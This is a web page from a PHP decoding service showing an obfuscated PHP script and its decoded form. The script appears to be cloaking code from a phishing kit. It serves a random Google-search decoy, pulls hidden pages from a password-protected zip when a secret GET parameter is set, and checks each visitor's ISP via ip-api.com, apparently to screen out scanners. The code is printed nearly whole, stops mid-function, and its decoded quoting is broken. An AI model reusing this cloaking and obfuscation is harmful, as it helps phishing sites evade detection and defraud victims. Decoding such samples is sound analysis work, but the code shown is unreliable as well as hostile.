Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${$ydwhnqb} = array("a", "e", "i", "o", "\x75"); ${${"\x47L\x4f\x42A\x4c\x53"}["\x73\x6fy..
Decoded Output download
<? ${$ydwhnqb} = array("a", "e", "i", "o", "u");
${${"GLOBALS"}["soyjtefd"]} = array("b", "c", "d", "f", "g", "h", "nh", "lh", "ch", "j", "k", "l", "m", "n", "p", "qu", "r", "rr", "s", "ss", "t", "v", "w", "x", "y", "z", );
${"GLOBALS"}["jfidngwfus"] = "tamanho_palavra";
${${"GLOBALS"}["nyhwvcrjun"]} = "";
${"GLOBALS"}["ihmyywwjiuq"] = "tamanho_palavra";
$mjyynsh = "contar_silabas";
${${"GLOBALS"}["ihmyywwjiuq"]} = rand(2, 5);
${${"GLOBALS"}["ojghxnqkz"]} = 0;
while (${$mjyynsh} < ${${"GLOBALS"}["ttsqfdhm"]}) {
$lflboyqd = "consoante";
${"GLOBALS"}["vfhggsjh"] = "vogal";
${"GLOBALS"}["buqrpgltjr"] = "vogal";
${"GLOBALS"}["uqmbxtjwcnq"] = "consoantes";
$kagvuhrmg = "vogais";
${"GLOBALS"}["fhpypfyhe"] = "consoante";
${${"GLOBALS"}["vfhggsjh"]} = ${$kagvuhrmg}[rand(0, count(${${"GLOBALS"}["yitaelhogijl"]}) - 1)];
${${"GLOBALS"}["fhpypfyhe"]} = ${${"GLOBALS"}["uqmbxtjwcnq"]}[rand(0, count(${${"GLOBALS"}["soyjtefd"]}) - 1)];
${${"GLOBALS"}["zlxrxauvkxut"]} = ${$lflboyqd} . ${${"GLOBALS"}["buqrpgltjr"]};
${${"GLOBALS"}["nyhwvcrjun"]} .= ${${"GLOBALS"}["zlxrxauvkxut"]};
${${"GLOBALS"}["ojghxnqkz"]}++;
unset(${${"GLOBALS"}["naptchojqrb"]}, ${${"GLOBALS"}["fhmbdfeusn"]}, ${${"GLOBALS"}["zlxrxauvkxut"]});
}
${${"GLOBALS"}["yjmjjoukyb"]} = "https://www.google.com/search?q=" . ${${"GLOBALS"}["nyhwvcrjun"]};
$_SESSION["white"] = ${${"GLOBALS"}["yjmjjoukyb"]};
${${"GLOBALS"}["fsmjwafkgl"]} = $_SESSION["white"];
if (isset($_GET["COMON/"])) {
$boljssv = "page";
${"GLOBALS"}["qzjqunrnkxf"] = "abriu";
${"GLOBALS"}["lrknsafei"] = "z";
${$boljssv} = $_GET["COMON/"];
${${"GLOBALS"}["lrknsafei"]} = new ZipArchive();
${${"GLOBALS"}["qzjqunrnkxf"]} = $z->open("composer.ap");
if (${${"GLOBALS"}["mkhmxvi"]} === true) {
${"GLOBALS"}["qsefusfdjqrt"] = "page";
$z->setPassword("7fMNOlJxjMd6VqR01NC9pGF4j6");
${${"GLOBALS"}["ndxbmwhxxwf"]} = $z->getFromName(${${"GLOBALS"}["qsefusfdjqrt"]} . ".php");
function pagina($page)
{
$yepnogsd = "ch";
${"GLOBALS"}["gsvcweah"] = "linhas";
${"GLOBALS"}["bqokpm"] = "abriuc";
${"GLOBALS"}["uplcfisx"] = "linhas";
$jlcdacpwq = "linhas";
${"GLOBALS"}["orvweokmg"] = "numerobin3";
${${"GLOBALS"}["avuzwvajy"]} = new ZipArchive();
${"GLOBALS"}["ykbupcub"] = "database_ConnectDB";
${"GLOBALS"}["puxnjcsgli"] = "ch";
${${"GLOBALS"}["bqokpm"]} = $c->open("composer.ap");
$c->setPassword("7fMNOlJxjMd6VqR01NC9pGF4j6");
$huiflvxnh = "linhas";
${"GLOBALS"}["eseibukwyyb"] = "linhas";
$tyzdgwf = "linhas";
${${"GLOBALS"}["pcszpq"]} = $c->getFromName(${${"GLOBALS"}["qvwheuhhz"]} . ".php");
$muudzgkyj = "arqR";
${${"GLOBALS"}["lzofeggvlp"]} = $c->getFromName("SLIDE.php");
${"GLOBALS"}["tfnpkhmxjk"] = "checar";
$ffmmtbq = "conteudo_txtcz";
${"GLOBALS"}["eckulrmgb"] = "ipAddress";
${"GLOBALS"}["pfenlubx"] = "linhas";
$jpremlupwjwp = "ipAddress";
$pdaaduk = "linhas";
require_once("./conf.php");
${"GLOBALS"}["ryljuemz"] = "conteudo_txtc";
${${"GLOBALS"}["bkbwqxuy"]} = "./tmp_sincelindo/SINCELINDO/APP35361792";
${"GLOBALS"}["cvlhrplu"] = "ConnectDB"; {
$umnrmg = "arqR";
require_once(${$umnrmg});
}
$pmkvypfkhon = "linhas";
$umyxyrl = "ch";
$winddvejo = "ConnectDB";
$occnqncoonb = "linhas";
$qbleiejnci = "deleteSQL";
$mnvojm = "linhas";
$rhbgyhlaom = "linhas";
$shpvqckts = "linhas2";
${$jpremlupwjwp} = $_SERVER["REMOTE_ADDR"] ?: ($_SERVER["HTTP_X_FORWARDED_FOR"] ?: $_SERVER["HTTP_CLIENT_IP"]);
${${"GLOBALS"}["tfnpkhmxjk"]} = "http://ip-api.com/json/$ipAddress";
$eofmoum = "numerobin2";
${"GLOBALS"}["bbtkcxqiyv"] = "arqR";
${"GLOBALS"}["fbhtfsqcmv"] = "page";
${${"GLOBALS"}["qsrpoqpkwqb"]} = curl_init();
$awhqpzknffc = "tempoout";
$ydupgmhuu = "numerobin2";
curl_setopt(${${"GLOBALS"}["qsrpoqpkwqb"]}, CURLOPT_URL, "$checar");
curl_setopt(${$yepnogsd}, CURLOPT_COOKIEJAR, "cookie.txt");
$qwxbykbcqk = "arq";
curl_setopt(${${"GLOBALS"}["qsrpoqpkwqb"]}, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(${$umyxyrl}, CURLOPT_SSL_VERIFYPEER, false);
${"GLOBALS"}["qxwsqjq"] = "linhas";
$hfrgyisb = "ip";
${${"GLOBALS"}["feuekfw"]} = curl_exec(${${"GLOBALS"}["puxnjcsgli"]});
$_SESSION["ip"] = ${${"GLOBALS"}["eckulrmgb"]};
${$hfrgyisb} = $_SESSION["ip"];
${$eofmoum} = explode("\"isp":"", ${${"GLOBALS"}["feuekfw"]});
if (@${$ydupgmhuu}[1]) {
$hmrjumsuyy = "numerobin2";
${$hmrjumsuyy} = explode(""", ${${"GLOBALS"}["ypdjhkvl"]}[1]);
${${"GLOBALS"}["cmtmfxgdzri"]} = ${${"GLOBALS"}["ypdjhkvl"]}[0]; ?>
Did this file decode correctly?
Original Code
${$ydwhnqb} = array("a", "e", "i", "o", "\x75");
${${"\x47L\x4f\x42A\x4c\x53"}["\x73\x6fyj\x74\x65\x66\x64"]} = array("\x62", "c", "\x64", "\x66", "\x67", "\x68", "\x6eh", "l\x68", "\x63\x68", "\x6a", "k", "\x6c", "m", "\x6e", "p", "\x71u", "\x72", "\x72\x72", "\x73", "ss", "t", "v", "\x77", "\x78", "\x79", "z", );
${"G\x4c\x4f\x42\x41L\x53"}["\x6a\x66\x69\x64\x6e\x67\x77\x66u\x73"] = "\x74\x61\x6d\x61\x6eh\x6f\x5fpa\x6cav\x72\x61";
${${"\x47LO\x42ALS"}["\x6ey\x68\x77\x76\x63\x72ju\x6e"]} = "";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x68my\x79\x77\x77\x6aiu\x71"] = "\x74am\x61\x6e\x68\x6f\x5f\x70\x61l\x61\x76\x72a";
$mjyynsh = "c\x6f\x6e\x74\x61r\x5f\x73\x69l\x61ba\x73";
${${"G\x4c\x4fB\x41\x4cS"}["\x69\x68\x6d\x79\x79w\x77j\x69u\x71"]} = rand(2, 5);
${${"\x47\x4cO\x42\x41L\x53"}["\x6fjg\x68\x78\x6e\x71\x6bz"]} = 0;
while (${$mjyynsh} < ${${"\x47L\x4f\x42\x41\x4c\x53"}["t\x74\x73\x71\x66\x64\x68\x6d"]}) {
$lflboyqd = "\x63\x6fnsoan\x74e";
${"\x47\x4cO\x42A\x4c\x53"}["v\x66\x68\x67g\x73\x6a\x68"] = "\x76\x6fg\x61\x6c";
${"G\x4c\x4f\x42\x41\x4cS"}["\x62\x75q\x72\x70g\x6c\x74\x6ar"] = "v\x6f\x67\x61\x6c";
${"G\x4c\x4f\x42\x41\x4c\x53"}["u\x71\x6d\x62\x78\x74\x6a\x77\x63\x6e\x71"] = "\x63on\x73o\x61\x6e\x74e\x73";
$kagvuhrmg = "\x76\x6f\x67ais";
${"\x47\x4c\x4fB\x41L\x53"}["\x66\x68p\x79\x70\x66\x79\x68\x65"] = "c\x6f\x6e\x73o\x61\x6ete";
${${"\x47\x4c\x4f\x42ALS"}["\x76fh\x67\x67\x73\x6a\x68"]} = ${$kagvuhrmg}[rand(0, count(${${"G\x4c\x4f\x42\x41LS"}["yit\x61e\x6c\x68o\x67i\x6al"]}) - 1)];
${${"\x47L\x4fB\x41\x4c\x53"}["\x66h\x70\x79\x70fy\x68\x65"]} = ${${"GL\x4f\x42AL\x53"}["\x75\x71\x6d\x62\x78\x74\x6a\x77c\x6e\x71"]}[rand(0, count(${${"\x47\x4c\x4fBA\x4c\x53"}["\x73oyj\x74\x65\x66\x64"]}) - 1)];
${${"\x47\x4c\x4fB\x41\x4cS"}["\x7al\x78r\x78\x61\x75v\x6b\x78ut"]} = ${$lflboyqd} . ${${"GL\x4f\x42\x41\x4cS"}["bu\x71\x72p\x67l\x74\x6a\x72"]};
${${"GL\x4f\x42AL\x53"}["\x6e\x79\x68\x77v\x63\x72\x6a\x75\x6e"]} .= ${${"\x47L\x4f\x42\x41\x4c\x53"}["zlxr\x78\x61u\x76kx\x75\x74"]};
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x6aghx\x6e\x71k\x7a"]}++;
unset(${${"G\x4c\x4f\x42\x41L\x53"}["n\x61\x70\x74\x63\x68\x6f\x6aq\x72\x62"]}, ${${"\x47\x4cO\x42A\x4c\x53"}["fh\x6db\x64\x66\x65u\x73n"]}, ${${"\x47\x4c\x4f\x42\x41\x4cS"}["z\x6c\x78\x72\x78\x61\x75\x76\x6bxut"]});
}
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79j\x6djjo\x75\x6b\x79\x62"]} = "h\x74tps://w\x77w\x2e\x67\x6fog\x6ce.com/se\x61\x72ch?q=" . ${${"\x47\x4c\x4f\x42AL\x53"}["n\x79\x68w\x76c\x72j\x75\x6e"]};
$_SESSION["\x77hi\x74e"] = ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79jm\x6ajo\x75\x6by\x62"]};
${${"\x47\x4c\x4fB\x41L\x53"}["\x66\x73\x6d\x6a\x77a\x66\x6b\x67\x6c"]} = $_SESSION["\x77\x68\x69te"];
if (isset($_GET["C\x4fMO\x4e/"])) {
$boljssv = "p\x61g\x65";
${"\x47LOB\x41\x4c\x53"}["q\x7a\x6a\x71\x75\x6e\x72n\x6b\x78f"] = "\x61\x62r\x69u";
${"\x47\x4c\x4f\x42\x41\x4cS"}["lr\x6b\x6es\x61\x66\x65i"] = "\x7a";
${$boljssv} = $_GET["C\x4f\x4dO\x4e/"];
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x72\x6b\x6es\x61f\x65i"]} = new ZipArchive();
${${"\x47LOBA\x4c\x53"}["\x71\x7a\x6aq\x75nrnkx\x66"]} = $z->open("c\x6fmp\x6fs\x65\x72\x2e\x61p");
if (${${"\x47\x4cOB\x41L\x53"}["m\x6b\x68\x6d\x78\x76i"]} === true) {
${"\x47\x4c\x4f\x42A\x4cS"}["\x71s\x65f\x75\x73\x66\x64\x6aqrt"] = "\x70\x61\x67\x65";
$z->setPassword("\x37fMNOl\x4axjM\x646Vq\x52\x301N\x43\x39p\x47\x464j\x36");
${${"G\x4c\x4f\x42ALS"}["\x6ed\x78b\x6d\x77\x68x\x78\x77f"]} = $z->getFromName(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x71s\x65\x66u\x73f\x64j\x71\x72\x74"]} . ".\x70h\x70");
function pagina($page)
{
$yepnogsd = "ch";
${"\x47\x4cO\x42\x41\x4c\x53"}["g\x73v\x63\x77\x65\x61h"] = "\x6cin\x68\x61\x73";
${"\x47\x4cO\x42ALS"}["\x62q\x6f\x6bp\x6d"] = "\x61\x62\x72\x69\x75\x63";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75pl\x63fi\x73x"] = "\x6c\x69\x6e\x68as";
$jlcdacpwq = "l\x69nhas";
${"G\x4c\x4f\x42\x41L\x53"}["\x6fr\x76w\x65\x6fk\x6d\x67"] = "\x6eu\x6de\x72o\x62\x69\x6e3";
${${"\x47\x4c\x4f\x42\x41LS"}["\x61\x76u\x7awva\x6a\x79"]} = new ZipArchive();
${"GL\x4f\x42\x41\x4c\x53"}["\x79\x6b\x62\x75\x70\x63\x75b"] = "d\x61\x74\x61\x62\x61\x73e\x5fCon\x6e\x65\x63\x74\x44\x42";
${"\x47\x4cO\x42\x41L\x53"}["\x70\x75\x78\x6e\x6a\x63s\x67\x6c\x69"] = "ch";
${${"\x47L\x4f\x42\x41LS"}["\x62\x71\x6fkp\x6d"]} = $c->open("\x63om\x70\x6fse\x72\x2eap");
$c->setPassword("7f\x4d\x4e\x4fl\x4a\x78j\x4d\x646\x56\x71\x520\x31NC\x39p\x47F4j\x36");
$huiflvxnh = "\x6c\x69nhas";
${"G\x4c\x4f\x42A\x4cS"}["\x65se\x69bu\x6b\x77yy\x62"] = "\x6c\x69nhas";
$tyzdgwf = "\x6c\x69\x6e\x68\x61\x73";
${${"\x47\x4cO\x42\x41\x4c\x53"}["pc\x73\x7a\x70\x71"]} = $c->getFromName(${${"GL\x4f\x42A\x4cS"}["\x71vw\x68\x65u\x68\x68\x7a"]} . "\x2e\x70hp");
$muudzgkyj = "arqR";
${${"G\x4cO\x42\x41LS"}["\x6c\x7ao\x66\x65g\x67\x76\x6c\x70"]} = $c->getFromName("SLI\x44\x45.p\x68\x70");
${"\x47\x4c\x4f\x42A\x4cS"}["\x74\x66np\x6bh\x6dxjk"] = "ch\x65ca\x72";
$ffmmtbq = "\x63\x6fn\x74\x65udo\x5ft\x78t\x63z";
${"\x47L\x4f\x42A\x4c\x53"}["e\x63\x6b\x75l\x72\x6dg\x62"] = "i\x70\x41d\x64\x72\x65ss";
${"G\x4cO\x42\x41\x4cS"}["\x70\x66\x65\x6e\x6c\x75bx"] = "\x6cin\x68as";
$jpremlupwjwp = "i\x70\x41\x64\x64r\x65s\x73";
$pdaaduk = "\x6c\x69nha\x73";
require_once("\x2e/\x63o\x6ef.\x70\x68p");
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x79\x6c\x6au\x65\x6d\x7a"] = "c\x6f\x6e\x74\x65\x75d\x6f\x5ft\x78\x74c";
${${"G\x4c\x4fB\x41L\x53"}["\x62\x6b\x62w\x71xu\x79"]} = "./tmp_sincelindo/SINCELINDO/APP35361792";
${"\x47LOBA\x4c\x53"}["\x63v\x6c\x68\x72p\x6cu"] = "\x43\x6f\x6enec\x74\x44\x42"; {
$umnrmg = "\x61\x72\x71\x52";
require_once(${$umnrmg});
}
$pmkvypfkhon = "\x6cin\x68as";
$umyxyrl = "c\x68";
$winddvejo = "\x43\x6fn\x6e\x65ctD\x42";
$occnqncoonb = "\x6c\x69\x6e\x68\x61\x73";
$qbleiejnci = "d\x65\x6c\x65teS\x51\x4c";
$mnvojm = "\x6ci\x6e\x68as";
$rhbgyhlaom = "l\x69\x6ehas";
$shpvqckts = "\x6c\x69\x6e\x68\x61\x73\x32";
${$jpremlupwjwp} = $_SERVER["\x52\x45\x4dO\x54E_AD\x44\x52"] ?: ($_SERVER["H\x54\x54P_\x58\x5fFORW\x41\x52\x44ED_\x46OR"] ?: $_SERVER["HT\x54P\x5f\x43\x4c\x49ENT\x5fIP"]);
${${"\x47L\x4f\x42\x41L\x53"}["tf\x6ep\x6bh\x6d\x78\x6ak"]} = "\x68ttp://i\x70-\x61\x70\x69.\x63\x6f\x6d/j\x73o\x6e/$ipAddress";
$eofmoum = "\x6e\x75\x6de\x72o\x62\x69n\x32";
${"G\x4c\x4fBA\x4cS"}["\x62\x62\x74\x6b\x63\x78\x71\x69\x79\x76"] = "\x61\x72\x71\x52";
${"G\x4c\x4fB\x41L\x53"}["\x66\x62\x68\x74fs\x71\x63\x6d\x76"] = "\x70ag\x65";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x73r\x70\x6fq\x70\x6bw\x71\x62"]} = curl_init();
$awhqpzknffc = "\x74\x65\x6d\x70\x6f\x6f\x75\x74";
$ydupgmhuu = "\x6e\x75\x6der\x6fbi\x6e\x32";
curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x71\x73\x72\x70o\x71\x70k\x77q\x62"]}, CURLOPT_URL, "$checar");
curl_setopt(${$yepnogsd}, CURLOPT_COOKIEJAR, "\x63\x6f\x6fk\x69e\x2e\x74x\x74");
$qwxbykbcqk = "arq";
curl_setopt(${${"GL\x4f\x42A\x4c\x53"}["\x71sr\x70o\x71\x70kwqb"]}, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(${$umyxyrl}, CURLOPT_SSL_VERIFYPEER, false);
${"\x47\x4c\x4f\x42AL\x53"}["q\x78\x77s\x71\x6a\x71"] = "\x6ci\x6eh\x61s";
$hfrgyisb = "i\x70";
${${"\x47LO\x42\x41L\x53"}["feu\x65kf\x77"]} = curl_exec(${${"\x47\x4cOBAL\x53"}["\x70u\x78\x6e\x6a\x63\x73g\x6ci"]});
$_SESSION["ip"] = ${${"G\x4c\x4fB\x41\x4c\x53"}["\x65c\x6b\x75lrm\x67\x62"]};
${$hfrgyisb} = $_SESSION["\x69p"];
${$eofmoum} = explode("\"i\x73p\x22:\x22", ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x66eu\x65\x6b\x66w"]});
if (@${$ydupgmhuu}[1]) {
$hmrjumsuyy = "\x6e\x75m\x65\x72\x6fbin\x32";
${$hmrjumsuyy} = explode("\x22", ${${"\x47L\x4f\x42\x41\x4c\x53"}["y\x70\x64\x6a\x68k\x76\x6c"]}[1]);
${${"G\x4c\x4fB\x41LS"}["\x63\x6dt\x6d\x66\x78\x67d\x7ar\x69"]} = ${${"G\x4cOBAL\x53"}["\x79\x70d\x6a\x68\x6b\x76l"]}[0];
Function Calls
None |
Stats
MD5 | f0f8ea3b7f628a9b5d10183c48a0ee7f |
Eval Count | 0 |
Decode Time | 75 ms |